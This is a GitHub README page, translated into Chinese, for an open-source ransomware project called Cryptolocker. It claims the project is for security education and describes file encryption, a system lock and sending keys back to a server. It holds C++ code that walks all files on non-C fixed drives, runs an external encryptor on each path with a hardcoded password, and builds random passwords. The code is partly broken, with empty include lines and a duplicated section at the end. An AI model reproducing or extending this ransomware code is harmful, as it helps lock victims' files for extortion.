ajayrandhawa/Cryptolocker
GitHub: ajayrandhawa/Cryptolocker
一款使用 Visual C++ 开发的开源文件加密勒索工具,用于模拟勒索软件行为以供安全研究教育使用。
Stars: 143 | Forks: 56
#### 免责声明:我们的工具仅供教育目的使用。请勿将其用于非法活动。您需对自己的行为负全责!我们的工具为开源软件,不提供任何担保,按原样提供。
# Cryptolocker
Crypto 是一款开源的 Crypto-Locker。Crypto 使用 Visual C++ 开发。它具备加密所有文件、锁定系统并将密钥发送回服务器的功能。多线程功能有助于该工具更快地完成加密。
采用强大的 256 位加密算法,文件一旦被加密,如果没有密码将完全无法使用,根本无法读取。
## 功能特性
1. 强大的 AES 加密。(无法破解)
2. 系统锁定功能。
3. 多线程加密。
4. 强大的 Web 管理界面
## 步骤 1(获取文件)
从所有驱动器中提取所有文件以进行加密。
这是一个 Visual C++ 程序,用于获取驱动器中所有目录和文件的列表,并将路径存储在文本文件中,供后续加密使用。我使用 Boost C++ 库来获取所有文件列表。编译程序前,请先配置好 Boost 库。
```
#include
#include
#include
#include
#include
#include
using namespace std;
fstream out_file("data.txt", ios::out);
#define MAX 256
int main(int argc, char* argv[]) {
int dr_type = 99;
char dr_avail[MAX];
char *temp = dr_avail;
/* 1st we fill the buffer */
GetLogicalDriveStrings(MAX, dr_avail);
while (*temp != NULL) { // Split the buffer by null
dr_type = GetDriveType(temp);
char skip[10] = "C:\\";
if (dr_type == 3 && temp[0] != 'C') {
boost::system::error_code dir_error;
for (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {
if (dir_error.value()) {
cerr << "Error accessing file: " << dir_error.message() << endl;
}
else {
cout << dir->path() << endl;
out_file << dir->path() << "\n";
}
}
}
temp += lstrlen(temp) + 1;
}
out_file.close();
system("pause");
```
## 步骤 2(加密文件)
首先,我会从 "data.txt" 中逐行获取每个文件的路径,并将其连同加密类型和密码一起发送给该加密工具。您也可以将整个程序嵌入到上述循环中,以递归方式获取路径并加密数据。
```
out_file.open("data.txt", ios::in);
string line;
while (out_file.good()) {
getline(out_file, line);
cout << line << endl;
std::string cmmd = "crpt.exe -e -p 4321 ";
cmmd += line;
system(cmmd.c_str());
}
```
## 步骤 3(创建长串复杂密码函数)
向函数传递长度参数,该函数将返回生成的复杂且长串的密码,您可以使用该密码进行加密。
```
string RandomString(int len)
{
srand(time(0));
string str = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
string newstr;
int pos;
while (newstr.size() != len) {
pos = ((rand() % (str.size() - 1)));
newstr += str.substr(pos, 1);
}
return newstr;
}
```
# 目前正在开发中....
# 祝网络安全快乐.....祝开源快乐.......
# :)
## 步骤 1(获取文件)
从所有驱动器中提取所有文件以进行加密。
这是一个 Visual C++ 程序,用于获取驱动器中所有目录和文件的列表,并将路径存储在文本文件中,供后续加密使用。我使用 Boost C++ 库来获取所有文件列表。编译程序前,请先配置好 Boost 库。
```
#include 标签:C++, 勒索软件, 恶意软件, 数据擦除, 文件加密, 端点可见性